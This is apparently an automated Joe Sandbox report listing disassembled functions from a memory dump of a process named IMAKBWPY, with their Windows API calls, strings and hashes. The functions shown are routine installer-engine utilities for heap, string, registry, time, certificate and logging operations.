Instruction ID: 86f8bcdc77b76d5ea64bbe5b927234f8fb7cd170c0af1ba6f4b34b683ae4b4ef
Opcode Fuzzy Hash: 17d0e6d8da43470b7702f8cc3fa5806feab436add3fd3df0ba1538e9b83e7e68
Instruction Fuzzy Hash: C401A937BD16BAA3C73357E76C05B5A66886B007A1F114122FD41EB2E0D736DC80D6E5

Function 009D495D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,009D490E,00000000,?,009D48AE,00000000,00A07F08,0000000C,009D4A05,00000000,00000002), ref: 009D497D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 009D4990
FreeLibrary.KERNEL32(00000000,?,?,?,009D490E,00000000,?,009D48AE,00000000,00A07F08,0000000C,009D4A05,00000000,00000002), ref: 009D49B3

Strings

CorExitProcess, xrefs: 009D4988
mscoree.dll, xrefs: 009D4976

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e852fb5247d535da9662f3a6473af3e838767c57d71e43c7c9bf34546c34bdd7
Instruction ID: 65934371fd42d78013dfe5e2f1de17da3d97c831bddf28afea0fa5717674198c
Opcode Fuzzy Hash: e852fb5247d535da9662f3a6473af3e838767c57d71e43c7c9bf34546c34bdd7
Instruction Fuzzy Hash: E7F04F34A5420CBBCB119FA1DC6ABAFBFB8EB04B52F004069F906A6290CB715D40DB91

Function 009B9287 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 139COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 009B93C9

Part of subcall function 009E56CF: GetLastError.KERNEL32(?,?,009B933A,?,00000003,00000000,?), ref: 009E56EE

Strings

Failed to read certificate thumbprint., xrefs: 009B93BD
Failed to get certificate public key identifier., xrefs: 009B93F7
Failed to find expected public key in certificate chain., xrefs: 009B938A
cache.cpp, xrefs: 009B93ED

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast
String ID: Failed to find expected public key in certificate chain.$Failed to get certificate public key identifier.$Failed to read certificate thumbprint.$cache.cpp
API String ID: 1452528299-3408201827
Opcode ID: 1a73c292ce1570cb925683140a771bc0359015d3846b5761c3f2ff5bcf0d8fc7
Instruction ID: ad1201e1ad3698cbdf2b2558dc9a84fd67d9bed6320fdd6ca4d679adf31ee9d4
Opcode Fuzzy Hash: 1a73c292ce1570cb925683140a771bc0359015d3846b5761c3f2ff5bcf0d8fc7
Instruction Fuzzy Hash: A1414072E14619ABDB10DBA9C941AEEB7F8AB48724F054029FA05E7291D774ED00CBA0

Function 009A21AC Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(8007139F,00000000,?,?,00000000,00000000,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A21F2
GetLastError.KERNEL32(?,00000000,00000000,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A21FE

Part of subcall function 009A3BD3: GetProcessHeap.KERNEL32(00000000,000001C7,?,009A21CC,000001C7,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3BDB
Part of subcall function 009A3BD3: HeapSize.KERNEL32(00000000,?,009A21CC,000001C7,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3BE2

Strings

strutil.cpp, xrefs: 009A2222

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Heap$ByteCharErrorLastMultiProcessSizeWide
String ID: strutil.cpp
API String ID: 3662877508-3612885251
Opcode ID: 1384de4077983718940608762c5f6fceea8567a3d10897ac11b2453b7552d48b
Instruction ID: 082a7db0b4def6f3920f7048dfc0ed35977b52b44301e1f0fa7a9a9af92638f1
Opcode Fuzzy Hash: 1384de4077983718940608762c5f6fceea8567a3d10897ac11b2453b7552d48b
Instruction Fuzzy Hash: 45311A32604226ABD7288FADCC44B6B3B99AF47774B214224FD259F290E775DC0097D0

Function 009E94FD Relevance: 7.6, APIs: 5, Instructions: 119registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E0F6C: RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00A0AAA0,00000000,?,009E57E1,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 009E0F80

RegCloseKey.ADVAPI32(00000001,00000001,?,00000000,00000001,?,00000000,00000001,00000000,00020019,00000001,00000000,00000000,00020019,00000000,00000001), ref: 009E95D5
RegCloseKey.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000,00000001,?,00000000,00000001,00000000,00020019), ref: 009E9610
RegCloseKey.ADVAPI32(00000001,00000001,00020019,00000000,00000000,00000000,00000000,00000000,?), ref: 009E962C
RegCloseKey.ADVAPI32(00000000,00000001,00020019,00000000,00000000,00000000,00000000,00000000,?), ref: 009E9639
RegCloseKey.ADVAPI32(00000000,00000001,00020019,00000000,00000000,00000000,00000000,00000000,?), ref: 009E9646

Part of subcall function 009E0FD5: RegQueryInfoKeyW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,009E95C2,00000001), ref: 009E0FED

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Close$InfoOpenQuery
String ID:
API String ID: 796878624-0
Opcode ID: 77c96299f15fc13b1b23df22c3a18a77819c06310c5475664bd2229aca42df3c
Instruction ID: 3dbf1b74b83589185b8ce3b72c9bab426e635fc006eb2278882ead16c77fab41
Opcode Fuzzy Hash: 77c96299f15fc13b1b23df22c3a18a77819c06310c5475664bd2229aca42df3c
Instruction Fuzzy Hash: 4D415D72C0126DFFCF23AF96CC819ADFBB9EF58B54F11416AE91076221C7714E509A90

Function 009A8A07 Relevance: 7.6, APIs: 5, Instructions: 118stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,00000000,00000000,?,?,009A8BC8,009A972D,?,009A972D,?,?,009A972D,?,?), ref: 009A8A27
lstrlenW.KERNEL32(?,?,00000000,00000000,?,?,009A8BC8,009A972D,?,009A972D,?,?,009A972D,?,?), ref: 009A8A2F
CompareStringW.KERNEL32(0000007F,?,?,?,?,00000000,?,00000000,00000000,?,?,009A8BC8,009A972D,?,009A972D,?), ref: 009A8A7E
CompareStringW.KERNEL32(0000007F,?,?,00000000,?,00000000,?,00000000,00000000,?,?,009A8BC8,009A972D,?,009A972D,?), ref: 009A8AE0
CompareStringW.KERNEL32(0000007F,?,?,00000000,?,00000000,?,00000000,00000000,?,?,009A8BC8,009A972D,?,009A972D,?), ref: 009A8B0D

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CompareString$lstrlen
String ID:
API String ID: 1657112622-0
Opcode ID: b630b6953c9a258c35d6ce3ac57ee39ab702de3d10e5186fc50978cf2b8da578
Instruction ID: 3319ffbb8e295e424b45dfa5561ee18c4fc97dcec6219c2c8939e658dcec3973
Opcode Fuzzy Hash: b630b6953c9a258c35d6ce3ac57ee39ab702de3d10e5186fc50978cf2b8da578
Instruction Fuzzy Hash: 65316372A05158FFCF218F98CC89AAF3F6EEB4A350F154416F9198B520CA759D90DBE0

Function 009A74B7 Relevance: 7.5, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(009A53BD,WixBundleOriginalSource,?,?,009BA623,840F01E8,WixBundleOriginalSource,?,00A0AA90,?,00000000,009A5445,00000001,?,?,009A5445), ref: 009A74C3
LeaveCriticalSection.KERNEL32(009A53BD,009A53BD,00000000,00000000,?,?,009BA623,840F01E8,WixBundleOriginalSource,?,00A0AA90,?,00000000,009A5445,00000001,?), ref: 009A752A

Strings

Failed to get value of variable: %ls, xrefs: 009A74FD
WixBundleOriginalSource, xrefs: 009A74BF
Failed to get value as string for variable: %ls, xrefs: 009A7519

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Failed to get value as string for variable: %ls$Failed to get value of variable: %ls$WixBundleOriginalSource
API String ID: 3168844106-30613933
Opcode ID: 0151957e9bff5dc811088dfa17eec5f6a2384198e4e4308be225cf2506e5f838
Instruction ID: 158a7421516aa5230caab07f25daa3b83d3df230c8349ce529c5faf12894d846
Opcode Fuzzy Hash: 0151957e9bff5dc811088dfa17eec5f6a2384198e4e4308be225cf2506e5f838
Instruction Fuzzy Hash: BB019A72D48169FBCF229E84CC06A9EBB68EF02325F104160FD04AA220C3369E11ABD0

Function 009CD152 Relevance: 7.5, APIs: 5, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,00000000,?,00000000,?,009CD148,00000000), ref: 009CD16D
CloseHandle.KERNEL32(00000000,00000000,?,00000000,?,009CD148,00000000), ref: 009CD179
CloseHandle.KERNEL32(009EB518,00000000,?,00000000,?,009CD148,00000000), ref: 009CD186
CloseHandle.KERNEL32(00000000,00000000,?,00000000,?,009CD148,00000000), ref: 009CD193
UnmapViewOfFile.KERNEL32(009EB4E8,00000000,?,009CD148,00000000), ref: 009CD1A2

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseHandle$FileUnmapView
String ID:
API String ID: 260491571-0
Opcode ID: 75aa6530252ae7c635c18fb0811ed209f390a06dfa5ac314e970a9af3783fc12
Instruction ID: 0ef90e666270170a0cbd3bea1e94bc803c08df97cf9f2029a39ade7c6ed5414f
Opcode Fuzzy Hash: 75aa6530252ae7c635c18fb0811ed209f390a06dfa5ac314e970a9af3783fc12
Instruction Fuzzy Hash: 5601F672806B16DFCB31AF66D890916F7E9AF50711319C93EE2AA52930C371A980DF41

Function 009E8713 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 138timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,00000000,00000000,clbcatq.dll,00000000,clbcatq.dll,00000000,00000000,00000000), ref: 009E8820
GetLastError.KERNEL32 ref: 009E882A

Strings

clbcatq.dll, xrefs: 009E8731, 009E873C
timeutil.cpp, xrefs: 009E884E

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Time$ErrorFileLastSystem
String ID: clbcatq.dll$timeutil.cpp
API String ID: 2781989572-961924111
Opcode ID: 0c9358d3b0707fb7f494e120d5ea9437a76e1a17f953b071eb2a8add489c978e
Instruction ID: 68d76cde644c0106886074af6b09fe76b61a5cc1a468a555b3e95c2d0b706053
Opcode Fuzzy Hash: 0c9358d3b0707fb7f494e120d5ea9437a76e1a17f953b071eb2a8add489c978e
Instruction Fuzzy Hash: A5411776E50295B6D7229BFA8C45B7F7768AF81700F54492AF915B7280E935CE00C3A1

Function 009E36CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(000002C0), ref: 009E36E6
SysAllocString.OLEAUT32(?), ref: 009E36F6
VariantClear.OLEAUT32(?), ref: 009E37D5

Strings

xmlutil.cpp, xrefs: 009E370E

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Variant$AllocClearInitString
String ID: xmlutil.cpp
API String ID: 2213243845-1270936966
Opcode ID: 982b2d2bd10e6a43f666dab75a7a4555169fa65a2d8ee1ed8b951f92cddca7e0
Instruction ID: ec049435309ab979e15f003839687805eee42344ab921108972ac30d319a53e5
Opcode Fuzzy Hash: 982b2d2bd10e6a43f666dab75a7a4555169fa65a2d8ee1ed8b951f92cddca7e0
Instruction Fuzzy Hash: 5B4157B5900269ABCB119FA5C88CEAFBBBCAF45710F1585A4FC15EB211D635DE008B91

Function 009E0E4F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(00000000,000002C0,00000410,00000002,00000000,00000000,00000000,00000000,00000410,00000002,00000100,00000000,00000000,?,?,009C8E1B), ref: 009E0EAA
RegQueryInfoKeyW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,?,?,009C8E1B,00000000), ref: 009E0EC8
RegEnumKeyExW.ADVAPI32(00000000,000002C0,00000410,00000002,00000000,00000000,00000000,00000000,00000410,00000003,?,?,009C8E1B,00000000,00000000,00000000), ref: 009E0F1E

Strings

regutil.cpp, xrefs: 009E0EEE

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Enum$InfoQuery
String ID: regutil.cpp
API String ID: 73471667-955085611
Opcode ID: 34954bc62a47acbe078766723c69e92bd63e6e1b23106610ae600c433c6a1de1
Instruction ID: cc8a82da6c3a13e7cd3c98c497ce61dbd7388cb383eeffe2fdbcd5071872857f
Opcode Fuzzy Hash: 34954bc62a47acbe078766723c69e92bd63e6e1b23106610ae600c433c6a1de1
Instruction Fuzzy Hash: 5631C67690116DFFDB228BC68D80EAFB76CEF84750F150865BD04AB210D7B18E9096E0

Function 009C8B17 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E0F6C: RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00A0AAA0,00000000,?,009E57E1,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 009E0F80

RegCloseKey.ADVAPI32(00000000,00000000,00000088,00000000,000002C0,00000410,00020019,00000000,000002C0,00000000,?,?,?,009C8E57,00000000,00000000), ref: 009C8BD4

Strings

Failed to initialize package from related bundle id: %ls, xrefs: 009C8BBA
Failed to ensure there is space for related bundles., xrefs: 009C8B87
Failed to open uninstall key for potential related bundle: %ls, xrefs: 009C8B43

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseOpen
String ID: Failed to ensure there is space for related bundles.$Failed to initialize package from related bundle id: %ls$Failed to open uninstall key for potential related bundle: %ls
API String ID: 47109696-1717420724
Opcode ID: 2181b9dbe85e9b6398407a3171a91d4ac137619693e8a95b1312e3949c748357
Instruction ID: 2dd4fa56dcad8e6fff16ad26a893ba42e94715d5d0e4fd8f4b67d24f5172528b
Opcode Fuzzy Hash: 2181b9dbe85e9b6398407a3171a91d4ac137619693e8a95b1312e3949c748357
Instruction Fuzzy Hash: EE21AF72D4021AFBDF129E80CC4AFAFBB78EF44711F104459FA00A6160DB759E20EB91

Function 009A3B15 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000000,80004005,00000000,00000000,00000100,?,009A1474,00000000,80004005,00000000,80004005,00000000,000001C7,?,009A13B8), ref: 009A3B33
HeapReAlloc.KERNEL32(00000000,?,009A1474,00000000,80004005,00000000,80004005,00000000,000001C7,?,009A13B8,000001C7,00000100,?,80004005,00000000), ref: 009A3B3A

Part of subcall function 009A394F: GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
Part of subcall function 009A394F: RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

Part of subcall function 009A3BD3: GetProcessHeap.KERNEL32(00000000,000001C7,?,009A21CC,000001C7,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3BDB
Part of subcall function 009A3BD3: HeapSize.KERNEL32(00000000,?,009A21CC,000001C7,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3BE2

_memcpy_s.LIBCMT ref: 009A3B86

Strings

memutil.cpp, xrefs: 009A3BC7

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Heap$Process$AllocAllocateSize_memcpy_s
String ID: memutil.cpp
API String ID: 3406509257-2429405624
Opcode ID: 294c4d5f988723ad1b9cb64a9a43e0802d3367221739fc2843dbb7b276ac0d59
Instruction ID: c67be0cd4692cba5154d59558037d50622dc6b1ae45a648a67145a8577c66f76
Opcode Fuzzy Hash: 294c4d5f988723ad1b9cb64a9a43e0802d3367221739fc2843dbb7b276ac0d59
Instruction Fuzzy Hash: E111E131A04219ABCB226E68CC48E7F3A5FDB82760B05C225FC149B2A2D735CF1093F0

Function 009E894D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70timeCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 009E8991
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 009E89B9
GetLastError.KERNEL32 ref: 009E89C3

Strings

inetutil.cpp, xrefs: 009E89E4

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLastTime$FileSystem
String ID: inetutil.cpp
API String ID: 1528435940-2900720265
Opcode ID: 37e197ef8d4c8d8f529c266beeb1c7f72eaf42b4a97e81a4c613bdc5ab829d59
Instruction ID: 5d0c0e87448f88b2a88cb3b51a599505d905f139372f4f1933d5f10dfb8726e5
Opcode Fuzzy Hash: 37e197ef8d4c8d8f529c266beeb1c7f72eaf42b4a97e81a4c613bdc5ab829d59
Instruction Fuzzy Hash: C811D337E11229B7D321DAEACD45BBFBBACAF44750F110515AE45FB241EA249D0086E2

Function 009B3AA6 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E0F6C: RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00A0AAA0,00000000,?,009E57E1,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 009E0F80

RegCloseKey.ADVAPI32(00000000,SOFTWARE\Policies\Microsoft\Windows\Installer,00020019,00000001,feclient.dll,?,?,?,009B3FB5,feclient.dll,?,00000000,?,?,?,009A4B12), ref: 009B3B42

Part of subcall function 009E10B5: RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000002,00000001,00000000,00000000,00000000,00000000,00000000), ref: 009E112B
Part of subcall function 009E10B5: RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,?), ref: 009E1163

Strings

SOFTWARE\Policies\Microsoft\Windows\Installer, xrefs: 009B3AB7
feclient.dll, xrefs: 009B3AAB
Logging, xrefs: 009B3AD4

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID: Logging$SOFTWARE\Policies\Microsoft\Windows\Installer$feclient.dll
API String ID: 1586453840-3596319545
Opcode ID: baf195c8c63bc85d7a5146d548e7941725e4a632bbc4531d29b7503d629368d6
Instruction ID: 4197340f15d393ec2fc36ef73bb14069060b4e16a08ed3c8d43177aa72da60db
Opcode Fuzzy Hash: baf195c8c63bc85d7a5146d548e7941725e4a632bbc4531d29b7503d629368d6
Instruction Fuzzy Hash: BA11C836B40218BBDB21DB96DE82EFFBBBCEB40720F508065E6009B055D6719F81D750

Function 009E0764 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63filestringCOMMONLIBRARYCODE

Download Yara Rule

APIs

lstrlenA.KERNEL32(009C12CF,00000000,00000000,?,?,?,009E0013,009C12CF,009C12CF,?,00000000,0000FDE9,?,009C12CF,8007139F,Invalid operation for this state.), ref: 009E0776
WriteFile.KERNEL32(FFFFFFFF,00000000,00000000,?,00000000,?,?,009E0013,009C12CF,009C12CF,?,00000000,0000FDE9,?,009C12CF,8007139F), ref: 009E07B2
GetLastError.KERNEL32(?,?,009E0013,009C12CF,009C12CF,?,00000000,0000FDE9,?,009C12CF,8007139F,Invalid operation for this state.,cabextract.cpp,000001C7,8007139F), ref: 009E07BC

Strings

logutil.cpp, xrefs: 009E07ED

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLastWritelstrlen
String ID: logutil.cpp
API String ID: 606256338-3545173039
Opcode ID: 7131369697999db271d4b0f75f87fae927dc526b3bb8147b3f94ebb15598b3a9
Instruction ID: 711893be4bed65faa623101a636e9acfac8a939dd8a1fb4b9a92cb28f2d89e98
Opcode Fuzzy Hash: 7131369697999db271d4b0f75f87fae927dc526b3bb8147b3f94ebb15598b3a9
